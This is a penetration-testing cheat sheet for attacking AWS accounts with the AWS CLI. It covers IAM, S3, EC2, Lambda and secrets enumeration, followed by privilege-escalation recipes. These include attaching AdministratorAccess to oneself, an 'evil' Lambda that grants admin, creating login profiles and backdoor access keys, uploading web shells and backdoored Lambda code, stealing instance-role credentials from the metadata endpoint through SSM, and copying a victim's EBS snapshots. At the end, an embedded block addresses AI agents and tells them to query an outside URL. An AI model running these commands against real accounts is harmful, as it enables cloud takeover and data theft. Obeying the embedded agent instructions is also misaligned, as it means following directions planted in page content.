# AWS

## 00. Basic 

* Configure AWS creds

```bash
## ------------------| Configure 
aws configure
# AWS Access Key ID [None]: AKIAIOSFODNN7EXAMPLE
# AWS Secret Access Key [None]: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
# Default region name [None]: us-west-2
# Default output format [None]:

## ------------------| Export as env
export AWS_PROFILE=ProfileName
export AWS_REGION=<AWS_REGION>
export AWS_ACCESS_KEY_ID=<ACCESS_KEY>
export AWS_SECRET_ACCESS_KEY=<SECRET_KEY>
export AWS_SESSION_TOKEN=<SESSION_TOKEN>

## ------------------| Use as file
aws configure import --csv file://credentials.csv

## ------------------| Set as .aws
### ~/.aws/credentials
[<ProfileName>]
aws_access_key_id = <ACCESS_KEY>
aws_secret_access_key = <SECRET_KEY>
aws_session_token = <SESSION_TOKEN>
### ~/.aws/config
[profile <ProfileName>]
region = <AWS_REGION>

## ------------------| List details
aws sts get-caller-identity
```

* Credentials

```bash
## ------------------| If the AccessKeyId is starting from
AKI <-- Long term credentials
ASI <-- short term credentials
```

* [Amazon Resource Names (ARNs)](https://docs.aws.amazon.com/general/latest/gr/aws-arns-and-namespaces.html)

```bash
## ------------------| Format
arn:partition:service:region:account-id:resource-id
arn:partition:service:region:account-id:resource-type/resource-id
arn:partition:service:region:account-id:resource-type:resource-id
                                ^ 12 digit number                               
                                
## ------------------| [partition]
aws        AWS Regions
aws-cn     China Regions
aws-us-gov AWS GovCloud (US) Regions

## ------------------| [service]
s2,lambda,ec2,iam

## ------------------| [region]
us-east-1,.. 
## if it is none it's mean it's globle
arn:partition:service::account-id:resource-id
```

* [Attack path I](https://youtu.be/B_-8TT23a6E)

<pre class="language-bash"><code class="lang-bash">## ------------------| List down all RDS databases
aws rds describe-db-instances --output=table --color on --filter --query DBInstances[].[DBinstanceIdentifier,MasterUsername,DBSubnetGroup.VpcID,Endpoint.Address]         

## ------------------| List down all subnets
aws rds describe-db-instances --output=table --color on --filter --query DBInstances[].DBSubnetGroup.Subnets[].SubnetIdentifier

## ------------------| Examine selected database subnets 
aws rds describe-db-instances --output=table --color on --filter "Name=db-instance-id,Values=&#x3C;DBName>" --query DBInstances[].DBSubnetGroup.Subnets[].SubnetIdentifier

## ------------------| List down all NACLs
aws ec2 describe-network-acls --output=table --color on --filter --query NetworkAcls[].Entries
## |0.0.0.0/0| True | -1 | allow | 100 | &#x3C;&#x3C; Open for all

## ------------------| For selected subnets; What traffic do network access control lists (NACLs) allow?
aws ec2 describe-network-acls --output=table --color on --filter "Name=association.subnet-id,Values=subnet-0a7f04b97a6ed9b11" --query NetworkAcls[].Entries

## ------------------| What traffic do DB security groups allow?
aws ec2 describe-security-groups --output=table --color onaw
aws ec2 describe-security-groups --output=table --color on --filter "Name=groupid,Values=sg-0a7f04b97a6ed9b11" | less

## ------------------| Find VPC with access to database
aws ec2 describe-vpcs --output=table --color on
aws ec2 describe-vpcs --output=table --color on --filter "Name=cidrBlock,Values=172.31.0.0/16"
aws ec2 describe-vpcs --output=table --color on --filter "Name=cidrBlock,Values=172.31.0.0/16" --query Vpcs[].VpcId

<strong>## ------------------| VPC security group [port 3306 egress]
</strong>aws ec2 describe-security-groups  --output=table --color on --filter "Name=ip-permission.to-port,Values=3306"
aws ec2 describe-security-groups  --output=table --color on --filter "Name=egress.ip-permission.cidr,Values='0.0.0.0/0'" --filter "Name=ip-permission.to-port,Values=22" --query 'SecurityGroups[].GroupId'
<strong>
</strong>## ------------------| Check Lambda functions
aws lambda list-functions --output=table --color on 
aws lambda list-functions --output=table --color on --query Functions[?VpcConfig.SecurityGroupIds==[`sg-07d51f986796059f9`]].FunctionName

## ------------------| Query to download Lambda source code
aws lambda get-function --function-name &#x3C;FunctionName> --query Code.Location

## ------------------| List all ec2s which has public IP (Look for instance that can exfi) l 
aws ec2 describe-instances --output text --query Reservations[].Instances[].NetworkInterfaces[].Association.[PublicIp,PublicDnsName]

## ------------------| Find No outbound restrictions security groups
aws ec2 describe-security-groups --color on --output table --filter "Name=egress.ip-permission.cidr,Values='0.0.0.0/0'" --query SecurityGroups[].GroupId
aws ec2 describe-security-groups --color on --output table --filter "Name=egress.ip-permission.cidr,Values='0.0.0.0/0'" --filter "Name=vpc-id,Values=&#x3C;VPCId>" --query SecurityGroups[].GroupId
</code></pre>

## 01. IAM (Identity and Access Management)

### 01.0 Users

```bash
## ------------------| List all users
aws iam list-users 
aws iam list-users --output table --query Users[].[UserName,Arn,UserId]

## ------------------| Enumarate groups for users
aws iam list-groups-for-user --user-name <UserName>
for i in $(aws iam list-users --query Users[].UserName --output text);do aws iam list-groups-for-user --user-name $i;done

## ------------------| List all inline policies
aws iam list-user-policies --user-name <GroupName>

## ------------------| Lists all managed policies
aws iam list-attached-user-policies --user-name <GroupName>

## ------------------| Enumarate user's signing certificates
aws iam list-signing-certificates --user-name <UserName>
for i in $(aws iam list-users --query Users[].UserName --output text);do echo "[$i]";aws iam list-signing-certificates --user-name $i --output json;done   

## ------------------| Check for public ssh keys for user.
aws iam get-ssh-public-key --user-name <UserName> --encoding <PEM/SSH> --ssh-public-key-id <SSHPublicKeyId>

## ------------------| Check for Multi Factor Auth for user
aws iam list-virtual-mfa-devices
aws iam list-mfa-devices --user-name <UserName>
for i in $(aws iam list-users --query Users[].UserName --output text);do echo "[$i]";aws iam list-mfa-devices --user-name $i --output json;done   

## ------------------| Check if the user have console login profile
aws iam get-login-profile --user-name <UserName>
for i in $(aws iam list-users --query Users[].UserName --output text);do echo "[$i]";aws iam get-login-profile --user-name $i;done

## ------------------| Create another access key
aws iam create-access-key --user-name <UserName>
```

### 01.2 Groups

```bash
## ------------------| List all groups
aws iam list-groups --output json

## ------------------| List all inline policies
aws iam list-group-policies --group-name <GroupName>

## ------------------| Lists all managed policies
aws iam list-attached-group-policies --group-name <GroupName>

```

### 01.3 Roles

<pre class="language-bash"><code class="lang-bash"><strong>## ------------------| List all roles
</strong>aws iam list-roles --output json

## ------------------| List role information
aws iam get-role --role-name &#x3C;RoleName> --output json 

## ------------------| Lists all attached policies
## arn:aws:sts::&#x3C;account-id>:.../&#x3C;RoleName>/...
aws iam list-attached-role-policies --role-name &#x3C;RoleName>

## ------------------| List all inline policies.
aws iam list-role-policies --role-name &#x3C;RoleName>

## ------------------| Assuming the role
aws sts assume-role --role-arn arn:aws:iam::&#x3C;AccountID>role/&#x3C;RoleName> --role-session-name AnyName
</code></pre>

### 01.4 Policies&#x20;

```bash
## ------------------| List all policies
aws iam list-policies --output json
aws iam list-policies --output json --scope Local
aws iam list-policies --output json | grep Admin
aws iam list-policies --output json --query Policies[].[PolicyName,PolicyId,Arn,DefaultVersionId]

## ------------------| List all inline policies
aws iam list-user-policies --user-name <UserName>
for i in $(aws iam list-users --query Users[].UserName --output text);do aws iam list-user-policies --user-name $i;done

## ------------------| List all manage policies
aws iam list-attached-user-policies --user-name <Username>
for i in $(aws iam list-users --query Users[].UserName --output text);do echo -n "[$i]\t";aws iam list-attached-user-policies --user-name user22 --output text | awk '{print $2"\t"$3}';done

## ------------------| Check policy permissions / Find the DefaultVersionId
aws iam get-policy --policy-arn <arn:aws:iam::<AccountID>:policy/<PolicyName>

## ------------------| Read the policy document
aws iam get-policy-version --output json --policy-arn <arn:aws:iam::<AccountID>:policy/<PolicyName> --version-id <DefaultVersionId>

## ------------------| List details about inline policy document
aws iam get-user-policy --user-name <UserName> --policy-name <PolicyName>
aws iam get-group-policy --group-name <GroupName> --policy-name <PolicyName>
aws iam get-role-policy --role-name <RoleName> --policy-name <PolicyName>

## ------------------| [If user has PutUserPolicy] Add an inline policy document that is embedded in the specified IAM user
aws iam put-user-policy --user-name <UserName> --policy-name <PolicyName> --policy-document file://Policy.json

## ------------------| Policy.json
{
    "Version": "2022-07-14",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "*"
            ],
            "Resource": [
                "*"
            ]
        }
    ]
}
```

### 01.5 [Privilege Escalation](https://github.com/RhinoSecurityLabs/AWS-IAM-Privilege-Escalation)

<table><thead><tr><th width="290">Required Permission</th><th>PrivilageEsc Methods </th></tr></thead><tbody><tr><td>iam:AttachUserPolicy</td><td>Attaching a policy to a user</td></tr><tr><td>iam:AttachGroupPolicy</td><td>Attaching a policy to a group</td></tr><tr><td>iam:AttachRolePolicy</td><td>Attaching a policy to a role</td></tr><tr><td>iam:CreateAccessKey</td><td>Creating a new user access key</td></tr><tr><td>iam:CreateLoginProfile</td><td>Creating a new login profile</td></tr><tr><td>iam:UpdateLoginProfile</td><td>Updating an existing login profile</td></tr><tr><td><p>iam:PassRole </p><p>ec2:RunInstances</p></td><td>Creating an EC2 instance with an existing instance profile</td></tr><tr><td>iam:PutUserPolicy</td><td>Creating/updating an inline policy for a user</td></tr><tr><td>iam:PutGroupPolicy</td><td>Creating/updating an inline policy for a group</td></tr><tr><td>iam:PutRolePolicy</td><td>Creating/updating an inline policy for a role</td></tr><tr><td>iam:AddUserToGroup</td><td>Adding a user to a group</td></tr><tr><td>iam:UpdateAssumeRolePolicy sts:AssumeRole</td><td>Updating the AssumeRolePolicyDocument of a role</td></tr><tr><td><p>iam:PassRole </p><p>lambda:CreateFunction lambda:InvokeFunction</p></td><td>Passing a role to a new Lambda function, then invoking it</td></tr><tr><td>lambda:UpdateFunctionCode</td><td>Updating the code of an existing Lambda function</td></tr></tbody></table>

#### 01.5.1 Overly Permissive Permission&#x20;

* <mark style="color:green;">iam:AttachUserPolicy</mark>

```bash
## ------------------| Check if you have "Action": "iam:AttachUserPolicy"
aws iam get-policy-version --policy-arn <arn:aws:iam::<AccountID>:policy/<PolicyName> --version-id <DefaultVersionId>

## ------------------| Find ARN for AdministratorAccess policy
aws iam list-policies | grep "AdministratorAccess"

## ------------------| Attach policy for a user
aws iam attach-user-policy --user-name <UserName> --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

## ------------------| Checking attached policies again
aws iam list-attached-user-policies --user-name <UserName>
```

* <mark style="color:green;">iam:CreateLoginProfile</mark>

```bash
## ------------------| Check if you have "Action": "iam:CreateLoginProfile"
aws iam get-user-policy --user-name <UserName> --policy-name <PolicyName>

## ------------------| List all users
aws iam list-users --output table --query Users[].[UserName,Arn,UserId]

## ------------------| View existing policies
aws iam list-attached-user-policies --user-name <UserName>

## ------------------| Creating login profile
aws iam create-login-profile --user-name <UserName> --password Passw0rd@123 --no-password-reset-required         
```

* <mark style="color:green;">sts:AssumeRole</mark>

```bash
## ------------------| Check if you have sts:AssumeRole
aws sts assume-role --role-arn <RoleArn> --role-session-name <SessionName> --profile <ProfileName>           
### extrack the token to .aws

## ------------------| List all ebs snapshots
aws ec2 describe-snapshots --owner-ids <Victim_Account> --region <Region> --profile <ProfileName> 

## ------------------| Exploit
aws ec2 modify-snapshot-attribute --snapshot-id <SnapId> --attribute CreateVoulmePermission --operation-type add --user-ids <Victim_Account> --region <Region> --profile <ProfileName>  
aws ec2 create-volume --snapshot-id <SnapId> --availability-zone <Region> --region <Region> --profile <ProfileName>  
aws ec2 attach-voumne --device /dev/xvhd --instance-id <InstanceID> --volume-id <VolumeId> --region <Region> --profile <ProfileName>
```

* <mark style="color:green;">iam:PassRole with lambda:CreateFunction</mark>

```bash
## ------------------| Check if we have rights to go ahead
aws iam list-user-policies --user-name <CurrentUserName>
aws iam get-user-policy --user-name <CurrentUserName> --policy-name <PolicyName>

## ------------------| Finding lambda role details
aws iam list-roles --output json
aws iam list-roles --output json --query "Roles[].[RoleName,AssumeRolePolicyDocument.Statement[].Principal.Service]" | grep -B2 "lambda.amazonaws.com"

## ------------------| Check policy details for lamda role for iam:AttachUserPolicy
aws iam get-role --role-name <RoleName> --output json
aws iam list-role-policies --role-name <RoleName> --output json
aws iam get-role-policy --role-name <RoleName> --policy-name <PolicyName> --output json

## ------------------| Creating lambda function (evil.py)
import boto3

def h4rithd(event, context):
    iam = boto3.client("iam")
    response = iam.attach_user_policy(
        UserName="<UserName>",PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
    )
    return response
    
## ------------------| Upload lambda function
zip evil-function.zip evil.py
aws lambda create-function --function-name evil-function --runtime python3.8 --zip-file fileb://evil-function.zip --handler evil.h4rithd --role <arn:aws:iam::account-id:/role/lamdaFunction

## ------------------| Execute/Invoking the lambda function
aws lambda invoke --function-name evil-function results.txt
```

* <mark style="color:green;">iam:PassRole with ec2:RunInstances</mark>

```bash
## ------------------| List policies and check if we have access
aws iam list-attached-user-policies --user-name <UserName>
aws iam list-user-policies --user-name <UserName>
aws iam get-user-policy --user-name <UserName> --policy-name <PolicyName>

## ------------------| List ec2 roles and get role name
aws iam list-roles --output json --query "Roles[].[RoleName,AssumeRolePolicyDocument.Statement[].Principal.Service]" | grep -B2 "ec2.amazonaws.com"

## ------------------| Listing policy details attached to role
aws iam list-role-policies --role-name <RoleName>
aws iam get-role-policy --role-name <RoleName> --policy-name <PolicyName>

## ------------------| Find AMI id
aws ec2 describe-images --owners amazon --filters 'Name=name,Values=amzn-ami-hvm-*' 'Name=state,Values=available' --output json | jq -r '.Images | sort_by(.CreationDate) | last(.[]).ImageId'

## ------------------| Find subnet id
aws ec2 describe-subnets

## ------------------| List security groups
aws ec2 describe-security-groups

## ------------------| List instance profile name
aws iam list-instance-profiles

## ------------------| Stat ec2 instance
aws ec2 run-instance --subnet-id <SubnetID> --image-id <AIMID> --iam-instance-profile Name=<ProfileName> --instance-type t2.micro --security-group-ids "<SecurityGroupId>"

## ------------------| If you have SSM *
aws ssm send-command --document-name "AWS-RunShellScript" --parameters 'commands=["curl -sS http://169.254.169.254/latest/meta-data/iam/security-credentials"]' --targets "Key=instanceids,Values=<InstaneID>" --comment "This is comment"
## Copy the CommandID

## ------------------| Check the command's output
aws ssm get-command-invocation --command-id "<CommandID>" --instance-id "<InstanceID>"
```

#### 01.5.2 Dangerous policy combinations

```bash
## ------------------| List policies
aws iam list-attached-user-policies --user-name <UserName>
aws iam list-user-policies --user-name <UserName>
aws iam get-user-policy --user-name <UserName> --policy-name <PolicyName>
```

## 02. S3 (Simple Storage Service)

```bash
## ------------------| List all s3 bucktes
aws s3api list-buckets
aws s3 ls s3://

## ------------------| Interact with s3 bucktes
aws s3 ls s3://<bucktes-name>

## ------------------| Get the information about specified bucket acls
aws s3api get-bucket-acl --bucket <BucketName>

## ------------------| Get the information about specified bucket policy 
aws s3api get-bucket-policy --bucket <BucketName>

## ------------------| Retrieves the Public Access Block configuration for an Amazon S3 bucket
aws s3api get-public-access-block --bucket <BucketName>

## ------------------| List of all the objects in specified bucket 
aws s3api list-objects --bucket <BucketName>

## ------------------| Get the acls information about specified object 
aws s3api get-object-acl --bucket <BucketName> --key <ObjectName>

## ------------------| Copy file to bucket
aws s3 cp /tmp/shell.php s3://<bucktes-name>/shell.php

## ------------------| List all directory
aws --endpoint-url http://s3.bucket.htb s3 ls

## ------------------| List what inside the directory
aws --endpoint-url http://s3.bucket.htb s3 ls 
aws --endpoint-url http://s3.bucket.htb s3 ls <directory>

## ------------------| Upload file/shell
aws --endpoint-url http://s3.bucket.htb s3 cp shell.php s3://<directory>/shell.php

## ------------------| Create a bucket and enable versioning
aws s3 mb s3://aws-<BucketName> --region <Region> --profile <Profile>
aws s3api put-bucket-versioning --bucket <BucketName> --versioning-configuration Status=Enabled --region <Region> --profile <Profile> 
```

## 03. VPC (Virtual Private Cloud)

```bash
## ------------------| Get details
aws ec2 describe-vpcs
aws ec2 describe-vpcs --region <us-east-1/us-west-1>
aws ec2 describe-vpcs --filters "Name=vpc-id,Values=<VpcID>"

## ------------------| List Subnets
aws ec2 describe-subnets
aws ec2 describe-subnets --filters "Name=vpc-id, Values=<VpcID>"

## ------------------| List Route Table
aws ec2 describe-route-tables
aws ec2 describe-route-tables --filters "Name=vpc-id, Values=<VpcID>"

## ------------------| List Network ACLs
aws ec2 describe-network-acls
aws ec2 describe-network-acls --filters "Name=vpc-id, Values=<VpcID>"

## ------------------| List all VPC Peering Connections
aws ec2 describe-vpc-peering-connections

## ------------------| List about EC2 Instances In the specified VPC
aws ec2 describe-instances --filters “Name=vpc-id, Values=<VpcID>”

## ------------------| List about EC2 Instances In the specified Subnet
aws ec2 describe-instances --filters “Name=subnet-id, Values=<SubnetID>"
```

## 04. EC2 (Elastic Compute Cloud)

```bash
## ------------------| List all Instances 
aws ec2 describe-instances
aws ec2 describe-instances --region <us-east-1/us-west-1>

## ------------------| List  the Information about Specified Instance 
aws ec2 describe-instances --instance-ids <InstanceId>

## ------------------| List the Information about UserData Attribute of the specified Instance
aws ec2 describe-instance-attribute –attribute userData --instance-id <InstanceId>

## ------------------| List the Information about IAM instance profile associations 
aws ec2 describe-iam-instance-profile-associations

## ------------------| Attach an instance profile with a role to a EC2 instance
aws ec2 associate-iam-instance-profile --instance-id <InstanceID> --iam-instance-profile Name=<ProfileName>       

## ------------------| AWS Metadata
### IMDV1
curl http://169.254.169.254/latest/meta-data/
curl -sS http://169.254.169.254/latest/meta-data/iam/security-credentials
curl -sS http://169.254.169.254/latest/meta-data/iam/security-credentials/Role
curl -sS http://169.254.169.254/latest/meta-data/iam/security-credentials/RoleName\
curl http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
### IMDV2
export TOKEN=$(curl -sS -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -sS -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

## ------------------| AWS Userdata
### IMDV1
curl http://169.254.169.254/latest/user-data/
### IMDV2
export TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") 
curl -sS -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/user-data/
```

## 05. EBS (Elastic Block Store)

```bash
## ------------------| List the Information about EBS volumes 
aws ec2 describe-volumes 

## ------------------| List about all the available EBS snapshots
aws ec2 describe-snapshots
aws ec2 describe-snapshots --owner-ids self

## ------------------| Creates a snapshot of the specified volume 
aws ec2 create-snapshot --volume-id <VolumeID> --description "Backup Snapshot" 

## ------------------| Create a volume from snapshots
aws ec2 create-volume --snapshot-id <SnapshotID> --availability-zone <AvailabilityZone>

## ------------------| Attach specified volume to the ec2-instance
aws ec2 attach-volume --volume-id <VolumeID> --instance-id <InstanceID> --device </dev/sdfd>

## ------------------| Mount Volume on EC2 file system 
sudo mount </dev/sdfd> /mnt/backups
```

## 06. EKS (Elastic Kubernetes Service)

![](broken-reference)

```bash
## ------------------| Describe about all the repositories in the container registry 
aws ecr describe-repositories

## ------------------| Get the information about repository policy 
aws ecr get-repository-policy --repository-name <RepositoryName>

## ------------------| Lists of all images in the specified repository 
aws ecr list-images --repository-name <RepositoryName>

## ------------------| Describe the information about a container image 
aws ecr describe-images --repository-name <RepositoryName>--image-ids imageTag=ImageTag

## ------------------| Lists all ECS Clusters 
aws ecs list-clusters

## ------------------| Describe information about specified cluster 
aws ecs describe-clusters --cluster <ClusterName>

## ------------------| Lists all services in the specified cluster
aws ecs list-services --cluster <ClusterName>

## ------------------| Describe the information about a specified service 
aws ecs describe-services --cluster <ClusterName> --services <ServiceName>

## ------------------| Lists all tasks in the specified cluster 
aws ecs list-tasks --cluster <ClusterName>

## ------------------| Describe the information about a specified task 
aws ecs describe-tasks --cluster <ClusterName> --tasks <TaskArn>

## ------------------| Lists all containers in the specified cluster 
aws ecs list-container-instances --cluster <ClusterName>

## ------------------| Lists all EKS Clusters 
aws eks list-clusters

## ------------------| Describe the information about a specified cluster 
aws eks describe-cluster --name <ClusterName>

## ------------------| List of all node groups in a specified cluster
aws eks list-nodegroups --cluster-name <ClusterName>

## ------------------| Describe the information about a specific node group in a cluster 
aws eks describe-nodegroup --cluster-name <ClusterName> --nodegroup-name <NodeGroup>

## ------------------| List of all fargate in a specified cluster 
aws eks list-fargate-profiles --cluster-name <ClusterName>

## ------------------| Describe the information about a specific fargate profile in a cluster 
aws eks describe-fargate-profile --cluster-name <ClusterName> --fargate-profile-name <ProfileName>
```

## 07. RDS (Relational Database Service)

```bash
## ------------------| Describes the Information about the clusters in RDS
aws rds describe-db-clusters 

## ------------------| Describes the Information about the database instances in RDS
aws rds describe-db-instances 

## ------------------| Describes the Information about the subnet groups in RDS
aws rds describe-db-subnet-groups 

## ------------------| Describes the Information about the database security groups in RDS
aws rds describe-db-security-groups 

## ------------------| Describes the Information about the database proxies in RDS
aws rds describe-db-proxies
```

## 08. KMS (Key Management Server)

```bash
## ------------------| Lists of the all keys available in key management server (KMS) 
aws kms list-keys

## ------------------| Describes about specified key
aws kms describe-key --key-id <KeyID>

## ------------------| Lists of policies attached to specified key 
aws kms list-key-policies --key-id <KeyID>

## ------------------| Get full information about a policy 
aws kms get-key-policy --policy-name <PolicyName> --key-id <KeyID>
```

## 09. Lambda

* Functions

```bash
## ------------------| List all functions
aws lambda list-functions --endpoint-url=http://cloud.epsilon.htb 

## ------------------| Get code 
aws lambda get-function --function-name=<Function_Name> --endpoint-url=http://cloud.epsilon.htb 

## ------------------| Upload the backdoor updated code to aws lambda function 
aws lambda update-function-code --function-name <MyFunction> --zip-file file://backdoor.zip 

## ------------------| Get details for lambda function 
aws lambda get-function --function-name <FunctionName>

## ------------------| Get details for the policy Information about the specified lambda function 
aws lambda get-policy --function-name <FunctionName>

## ------------------| Get details for the event source mapping Information about the specified lambda function 
aws lambda list-event-source-mappings --function-name <FunctionName>

## ------------------| List of all the layers (dependencies) in aws account 
aws lambda list-layers

## ------------------| Get details for the full Information about the specified layer name
aws lambda get-layer-version --layer-name <LayerName> --version-number <VersionNumber>

## ------------------| Create a lambda function and attach role to this function 
aws lambda create-function --function-name <MyFunction> --runtime <python3.7> --zip-file fileb://file.zip --handler <myfunction.handler> --role <RoleArn> --region <Region>

## ------------------| Invoke the lambda function 
aws lambda invoke --function-name <FunctionName> response.json --region <Region>
```

* API Gateway

![](broken-reference)

```bash
## ------------------| List of all the Rest APIs 
aws apigateway get-rest-apis

## ------------------| Get the information about specified API
aws apigateway get-rest-api --rest-api-id <ApiId>

## ------------------| Lists information about a collection of resources
aws apigateway get-resources --rest-api-id <ApiId>

## ------------------| Get information about the specified resource
aws apigateway get-resource --rest-api-id <ApiId> --resource-id <ResourceID>

## ------------------| Get the method information for the specified resource 
aws apigateway get-method --rest-api-id <ApiId> --resource-id <ResourceID> --http-method <Method>

## ------------------| List of all stages for a REST API 
aws apigateway get-stages --rest-api-id <ApiId>

## ------------------| Get the information about specified API's stage 
aws apigateway get-stage --rest-api-id <ApiId> --stage-name <StageName>

## ------------------| List of all the API keys 
aws apigateway get-api-keys --include-values

## ------------------| Get the information about a specified API key 
aws apigateway get-api-key --api-key <ApiKey>
```

## 10. DynamoDB

```bash
## ------------------| List Tables
aws --endpoint-url http://s3.bucket.htb dynamodb list-tables

## ------------------| Get stuff on the table 
aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name <tableName> | jq .     

## ------------------| Put stuff on the table
aws --endpoint-url http://s3.bucket.htb dynamodb put-item --table-name <tableName> --item file://<filename>.json     

## ------------------| Create table
aws  --endpoint-url http://s3.bucket.htb dynamodb create-table \                                                                                                                  255 ⨯
    --table-name alerts \
    --attribute-definitions AttributeName=title,AttributeType=S \
    --key-schema AttributeName=title,KeyType=HASH \
    --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5
```

## 11. Secret Manager

```bash
## ------------------| Lists of the all secrets that are stored by Secrets Manager
aws secretsmanager list-secrets 

## ------------------| Describes about specified secret
aws secretsmanager describe-secret --secret-id <SecretName>

## ------------------| Get the resource-based policy that is attached to the specified Secret
aws secretsmanager get-resource-policy --secret-id <SecretID>

```

## 12. [pacu](https://github.com/RhinoSecurityLabs/pacu)

* Cross Account Enumerations&#x20;

<pre class="language-bash"><code class="lang-bash">## ------------------| User Enumerations 
### Create assume-role.json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "*"
      },
      "Action": "sts:AssumeRole",
      "Condition": {}
    }
  ]
}
### Create the role
aws iam create-role -role-name AnyName --assume-role-policy-document file:///$(pwd)/assume-role.json    
### Start pacu and set the keys
run iam__enum_users --role-name AnyName --account-id &#x3C;StolenAccountID>
run iam__enum_users --role-name AnyName --account-id &#x3C;StolenAccountID>  --word-list username.txt

## ------------------| Role Enumerations
<strong>run iam__enum_roles --role-name AnyName --account-id &#x3C;StolenAccountID>
</strong>run iam__enum_roles --role-name AnyName --account-id &#x3C;StolenAccountID>  --word-list username.txt
</code></pre>

## 13. [ScoutSuite](https://github.com/nccgroup/ScoutSuite)

```bash
## ------------------| Install
git clone https://github.com/nccgroup/ScoutSuite && cd ScoutSuite
virtualenv -p python3 venv && source venv/bin/activate
pip install -r requirements.txt
python scout.py --help

## ------------------| Enumerate
python scout.py aws -p <Profile> -r <Region>
```

## 14. [PMapper](https://github.com/nccgroup/PMapper)

```bash
## ------------------| Install
pip install principalmapper

## ------------------| Create a graph for the account, accessed through AWS CLI profile "skywalker"
pmapper --profile skywalker graph create

## ------------------| Run a query to see who can make IAM Users
pmapper --profile skywalker query 'who can do iam:CreateUser'

## ------------------| Run a query to see who can launch a big expensive EC2 instance, aside from "admin" users
pmapper --account 000000000000 argquery -s --action 'ec2:RunInstances' --condition 'ec2:InstanceType=c6gd.16xlarge'

## ------------------| Run the privilege escalation preset query, skip reporting current "admin" users
pmapper --account 000000000000 query -s 'preset privesc *'

## ------------------| Create an SVG representation of the admins/privescs/inter-principal access
pmapper --account 000000000000 visualize --filetype 
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://p0db0t.gitbook.io/pentest/cloud/aws.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.